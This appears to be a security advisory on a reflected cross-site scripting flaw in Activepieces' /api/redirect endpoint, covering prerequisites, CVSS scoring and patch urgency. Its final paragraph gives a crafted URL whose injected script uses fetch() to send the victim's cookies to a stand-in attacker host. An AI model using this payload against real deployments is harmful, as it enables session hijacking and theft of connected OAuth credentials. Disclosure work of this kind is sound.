Activepieces CVE-2026-73084

The victim must be logged into Activepieces in the same browser session when they open the crafted link - exploitation relies on the browser sending the victim's authenticated session context, and fails entirely against unauthenticated users. The attacker requires no credentials or prior access to the Activepieces instance; only the ability to deliver a URL to a logged-in user (e.g., via phishing email, chat message, or embedded link). The /api/redirect endpoint must be network-accessible to the victim's browser, which is the default and expected configuration for any Activepieces deployment using OAuth integrations with external services - no special or non-default configuration is required to be vulnerable. The sole limiting factor is UI:R: the victim must actively open the link; the attacker cannot trigger this server-side or autonomously scan for vulnerable sessions.

The CVSS 6.1 (Medium) vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N is well-calibrated: the attack is network-reachable, low complexity, and requires no attacker credentials, but is gated on a victim opening a crafted link (UI:R). The Changed scope (S:C) is significant - injected script executes in the Activepieces application origin, enabling same-origin access to session cookies, stored tokens, and authenticated API endpoints. No EPSS data was supplied, and the absence from CISA KEV indicates no confirmed active exploitation at time of analysis; however, the public patch commit precisely documents the vulnerable code path, meaning the technical effort to craft an exploit is minimal. Even a mid-sized municipal IT team in legnica running Activepieces for internal process automation should treat this as an urgent patch given that a single successful phishing attempt yields full account takeover. The CVSS impact metrics (C:L/I:L) conservatively score only direct effects; in practice, access to OAuth tokens stored within Activepieces could provide lateral movement into connected third-party services, amplifying the real-world impact beyond what the score conveys.

An attacker identifies a publicly accessible Activepieces instance and crafts a URL such as /api/redirect?code=x%3C/script%3E%3Cscript%3Efetch('https://attacker.example/steal?c='+document.cookie)%3C/script%3E. The attacker delivers this URL to a logged-in Activepieces user via a phishing message; when the victim opens the link in their browser, the injected script executes in the Activepieces origin, silently exfiltrating the session token to the attacker's server. With the stolen session, the attacker can authenticate to Activepieces as the victim, access connected OAuth credentials, and manipulate or exfiltrate automation workflows.